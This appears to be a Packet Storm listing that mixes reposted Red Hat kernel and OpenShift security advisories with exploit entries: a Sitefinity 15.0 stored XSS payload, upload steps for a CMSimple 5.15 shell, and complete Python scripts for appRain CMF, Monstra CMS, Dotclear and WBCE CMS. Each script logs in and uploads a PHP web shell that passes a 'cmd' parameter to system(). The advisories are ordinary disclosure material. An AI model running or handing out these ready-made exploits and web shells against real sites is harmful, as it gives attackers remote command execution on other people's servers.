Sitefinity version 15.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Sitefinity 15.0 - Cross-Site Scripting (XSS)# Date: 2023-12-05# Exploit Author: Aldi Saputra Wahyudi# Vendor Homepage: https://www.progress.com/sitefinity-cms# Version: < 15.0.0# Tested on: Windows/Linux# CVE : CVE-2023-27636# Description: In the backend of the Sitefinity CMS, a Cross-site scripting vulnerability has been discovered in all features that use SF-Editor# Steps To Reproduce:Attacker as lower privilegeVictim as Higher privilege1. Login as an Attacker2. Go to the function using the SF Editor, go to the news page as example3. Create or Edit news item4. On the content form, insert the XSS payload as HTML5. After the payload is inserted, click on the content form (just click) and publish or save6. If the victim visits the page with XSS payload, XSS will be triggeredPayload: <noalert><iframe src="javascript:alert(document.domain);">

Sitefinity 15.0 Cross Site Scripting

Red Hat Security Advisory 2024-3530-03 - An update for kernel-rt is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions. Issues addressed include a use-after-free vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3530.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: kernel-rt security and bug fix updateAdvisory ID:        RHSA-2024:3530-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:3530Issue date:         2024-05-31Revision:           03CVE Names:          CVE-2023-52578====================================================================Summary: An update for kernel-rt is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements.Security Fix(es):* kernel: nf_tables: use-after-free vulnerability in the nft_verdict_init() function (CVE-2024-1086)* kernel: net: bridge: data races indata-races in br_handle_frame_finish() (CVE-2023-52578)Bug Fix(es):* kernel-rt: update RT source tree to the latest RHEL-8.4.z Batch 25 (JIRA:RHEL-36724)* [RHEL-8.4] kernel-rt-debug: BUG: sleeping function called from invalid context at kernel/locking/rtmutex.c:968 (JIRA:RHEL-8758)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-52578References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2262126https://bugzilla.redhat.com/show_bug.cgi?id=2267758

Red Hat Security Advisory 2024-3530-03

Red Hat Security Advisory 2024-3529-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions. Issues addressed include a use-after-free vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3529.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: kernel security updateAdvisory ID:        RHSA-2024:3529-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:3529Issue date:         2024-05-31Revision:           03CVE Names:          CVE-2023-52578====================================================================Summary: An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The kernel packages contain the Linux kernel, the core of any Linux operating system.Security Fix(es):* kernel: nf_tables: use-after-free vulnerability in the nft_verdict_init() function (CVE-2024-1086)* kernel: net: bridge: data races indata-races in br_handle_frame_finish() (CVE-2023-52578)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-52578References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2262126https://bugzilla.redhat.com/show_bug.cgi?id=2267758

Red Hat Security Advisory 2024-3529-03

Red Hat Security Advisory 2024-3528-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support. Issues addressed include null pointer and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3528.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: kernel security update  
Advisory ID:        RHSA-2024:3528-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:3528  
Issue date:         2024-05-31  
Revision:           03  
CVE Names:          CVE-2023-2166  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

* kernel: NULL pointer dereference in can_rcv_filter (CVE-2023-2166)

* kernel: Slab-out-of-bound read in compare_netdev_and_ip (CVE-2023-2176)

* kernel: nf_tables: use-after-free vulnerability in the nft_verdict_init() function (CVE-2024-1086)

* kernel: net: bridge: data races indata-races in br_handle_frame_finish() (CVE-2023-52578)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-2166

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2187813  
https://bugzilla.redhat.com/show_bug.cgi?id=2187931  
https://bugzilla.redhat.com/show_bug.cgi?id=2262126  
https://bugzilla.redhat.com/show_bug.cgi?id=2267758

Red Hat Security Advisory 2024-3528-03

Red Hat Security Advisory 2024-3349-03 - Red Hat OpenShift Container Platform release 4.12.58 is now available with updates to packages and images that fix several bugs and add enhancements.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3349.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: OpenShift Container Platform 4.12.58 security update  
Advisory ID:        RHSA-2024:3349-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:3349  
Issue date:         2024-06-02  
Revision:           03  
CVE Names:          CVE-2024-28180  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.12.58 is now available with updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container Platform 4.12.

Red Hat Product Security has rated this update as having a security impact of  Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the container images for Red Hat OpenShift Container Platform 4.12.58. See the following advisory for the RPM packages for this release:

https://access.redhat.com/errata/RHSA-2024:3351

Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

Security Fix(es):

* jose-go: improper handling of highly compressed data (CVE-2024-28180)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.  
All OpenShift Container Platform 4.12 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.12/updating/updating-cluster-cli.html

Solution:

https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.

https://docs.openshift.com/container-platform/4.12/updating/updating-cluster-cli.html

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

CVEs:

CVE-2024-28180

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2268854  
https://issues.redhat.com/browse/OCPBUGS-33175  
https://issues.redhat.com/browse/OCPBUGS-33198  
https://issues.redhat.com/browse/OCPBUGS-33386  
https://issues.redhat.com/browse/OCPBUGS-33422  
https://issues.redhat.com/browse/OCPBUGS-33517  
https://issues.redhat.com/browse/OCPBUGS-33778

Red Hat Security Advisory 2024-3349-03

appRain CMF version 4.0.5 suffers from a remote shell upload vulnerability.

    # Exploit Title: appRain CMF 4.0.5 - Remote Code Execution (RCE) (Authenticated)# Date: 04/28/2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://www.apprain.org# Software Link:https://github.com/apprain/apprain/archive/refs/tags/v4.0.5.zip# Version: latest# Tested on: MacOSimport requestsimport sysimport timeimport randomimport stringdef generate_filename():""" Generate a 5-character random string for filename. """return ''.join(random.choices(string.ascii_lowercase, k=5)) + ".inc"def login(site, username, password):print("Logging in...")time.sleep(2)login_url = f"https://{site}/admin/system"session = requests.Session()login_data = {'data[Admin][admin_id]': username,'data[Admin][admin_password]': password}headers = {'Content-Type': 'application/x-www-form-urlencoded'}response = session.post(login_url, data=login_data, headers=headers)if "Logout" in response.text:print("Login Successful!")return sessionelse:print("Login Failed!")sys.exit()def upload_shell(session, site):print("Shell preparing...")time.sleep(2)filename = generate_filename()upload_url = f"https://{site}/admin/filemanager/upload"files = {'data[filemanager][image]': (filename, "<html><body><form method='GET'name='<?php echo basename($_SERVER['PHP_SELF']); ?>'><input type='TEXT'name='cmd' autofocus id='cmd' size='80'><input type='SUBMIT'value='Execute'></form><pre><?php if(isset($_GET['cmd'])){system($_GET['cmd']); } ?></pre></body></html>", 'image/jpeg')}data = {'submit': 'Upload'}response = session.post(upload_url, files=files, data=data)if response.status_code == 200 and "uploaded successfully" in response.text:print(f"Your Shell is Ready: https://{site}/uploads/filemanager/{filename}")else:print("Exploit Failed!")sys.exit()if __name__ == "__main__":print("Exploiting...")time.sleep(2)if len(sys.argv) != 4:print("Usage: python exploit.py sitename.com username password")sys.exit()site = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = login(site, username, password)upload_shell(session, site)

appRain CMF 4.0.5 Shell Upload

CMSimple version 5.15 suffers from a remote shell upload vulnerability.

    # Exploit Title: CMSimple 5.15 - Remote Command Execution# Date: 04/28/2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://www.cmsimple.org# Software Link: https://www.cmsimple.org/downloads_cmsimple50/CMSimple_5-15.zip# Version: latest# Tested on: MacOS# Log in to SimpleCMS.# Go to Settings > CMS# Append ",php" to the end of the Extensions_userfiles field and save it.# Navigate to Files > Media# Select and upload shell.php# Your shell is ready: https://{url}/userfiles/media/shell.php

CMSimple 5.15 Remote Shell Upload

Monstra CMS version 3.0.4 suffers from a remote code execution vulnerability. Original discovery of code execution in this version is attributed to Ishaq Mohammed in December of 2017.

    # Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)# Date: 05.05.2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://monstra.org/# Software Link: https://monstra.org/monstra-3.0.4.zip# Version: 3.0.4# Tested on: MacOSimport requestsimport randomimport stringimport timeimport reimport sysif len(sys.argv) < 4:print("Usage: python3 script.py <url> <username> <password>")sys.exit(1)base_url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = requests.Session()login_url = f'{base_url}/admin/index.php?id=dashboard'login_data = {'login': username,'password': password,'login_submit': 'Log+In'}filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=5))print("Logging in...")response = session.post(login_url, data=login_data)if 'Dashboard' in response.text:print("Login successful")else:print("Login failed")exit()time.sleep(3)edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'response = session.get(edit_url) # CSRF token bulmak için edit sayfasınaerişimtoken_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="(.*?)"', response.text)if token_search:token = token_search.group(1)else:print("CSRF token could not be found.")exit()content = '''<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}?></pre></body></html>'''edit_data = {'csrf': token,'name': filename,'content': content,'add_file': 'Save'}print("Preparing shell...")response = session.post(edit_url, data=edit_data)time.sleep(3)if response.status_code == 200:print(f"Your shell is ready: {base_url}/public/themes/default/{filename}.chunk.php")else:print("Failed to prepare shell.")

Monstra CMS 3.0.4 Remote Code Execution

Dotclear version 2.29 suffers from a remote code execution vulnerability.

    # Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)# Discovered by: Ahmet Ümit BAYRAM# Discovered Date: 26.04.2024# Vendor Homepage: https://git.dotclear.org/explore/repos# Software Link:https://github.com/dotclear/dotclear/archive/refs/heads/master.zip# Tested Version: v2.29 (latest)# Tested on: MacOSimport requestsimport timeimport randomimport stringfrom bs4 import BeautifulSoupdef generate_filename(extension=".inc"):return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +extensiondef get_csrf_token(response_text):soup = BeautifulSoup(response_text, 'html.parser')token = soup.find('input', {'name': 'xd_check'})return token['value'] if token else Nonedef login(base_url, username, password):print("Exploiting...")time.sleep(1)print("Logging in...")time.sleep(1)session = requests.Session()login_data = {"user_id": username,"user_pwd": password}login_url = f"{base_url}/admin/index.php?process=Auth"login_response = session.post(login_url, data=login_data)if "Logout" in login_response.text:print("Login Successful!")return sessionelse:print("Login Failed!")return Nonedef upload_file(session, base_url, filename):print("Shell Preparing...")time.sleep(1)boundary = "---------------------------376201441124932790524235275389"headers = {"Content-Type": f"multipart/form-data; boundary={boundary}","X-Requested-With": "XMLHttpRequest"}csrf_token = get_csrf_token(session.get(f"{base_url}/admin/index.php?process=Media").text)payload = (f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"f"2097152\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"f"{csrf_token}\r\n"f"--{boundary}\r\n"f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}\"\r\n"f"Content-Type: image/jpeg\r\n\r\n""<html>\n<body>\n<form method=\"GET\" name=\"<?php echobasename($_SERVER['PHP_SELF']); ?>\">\n""<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<inputtype=\"SUBMIT\" value=\"Execute\">\n""</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}\n?>\n</pre>\n</body>\n</html>\r\n"f"--{boundary}--\r\n")upload_response = session.post(f"{base_url}/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",headers=headers, data=payload.encode('utf-8'))if upload_response.status_code == 200:print(f"Your Shell is Ready: {base_url}/public/{filename}")else:print("Exploit Failed!")def main(base_url, username, password):filename = generate_filename()session = login(base_url, username, password)if session:upload_file(session, base_url, filename)if __name__ == "__main__":import sysif len(sys.argv) != 4:print("Usage: python script.py <siteurl> <username> <password>")else:base_url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]main(base_url, username, password)

Dotclear 2.29 Remote Code Execution

WBCE CME version 1.6.2 suffers from a remote code execution vulnerability.

    # Exploit Title: WBCE CMS v1.6.2 - Remote Code Execution (RCE)# Date: 3/5/2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://wbce-cms.org/# Software Link:https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.2.zip# Version: 1.6.2# Tested on: MacOSimport requestsfrom bs4 import BeautifulSoupimport sysimport timedef login(url, username, password):print("Logging in...")time.sleep(3)with requests.Session() as session:response = session.get(url + "/admin/login/index.php")soup = BeautifulSoup(response.text, 'html.parser')form = soup.find('form', attrs={'name': 'login'})form_data = {input_tag['name']: input_tag.get('value', '') for input_tag inform.find_all('input') if input_tag.get('type') != 'submit'}# Kullanıcı adı ve şifre alanlarını dinamik olarak güncelleform_data[soup.find('input', {'name': 'username_fieldname'})['value']] =usernameform_data[soup.find('input', {'name': 'password_fieldname'})['value']] =passwordpost_response = session.post(url + "/admin/login/index.php", data=form_data)if "Administration" in post_response.text:print("Login successful!")time.sleep(3)return sessionelse:print("Login failed.")print("Headers received:", post_response.headers)print("Response content:", post_response.text[:500]) # İlk 500 karakterreturn Nonedef upload_file(session, url):# Dosya içeriğini ve adını belirleyinprint("Shell preparing...")time.sleep(3)files = {'upload[]': ('shell.inc',"""<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}?></pre></body></html>""", 'application/octet-stream')}data = {'reqid': '18f3a5c13d42c5','cmd': 'upload','target': 'l1_Lw','mtime[]': '1714669495'}response = session.post(url + "/modules/elfinder/ef/php/connector.wbce.php",files=files, data=data)if response.status_code == 200:print("Your Shell is Ready: " + url + "/media/shell.inc")else:print("Failed to upload file.")print(response.text)if __name__ == "__main__":url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = login(url, username, password)if session:upload_file(session, url)

Source

Packet Storm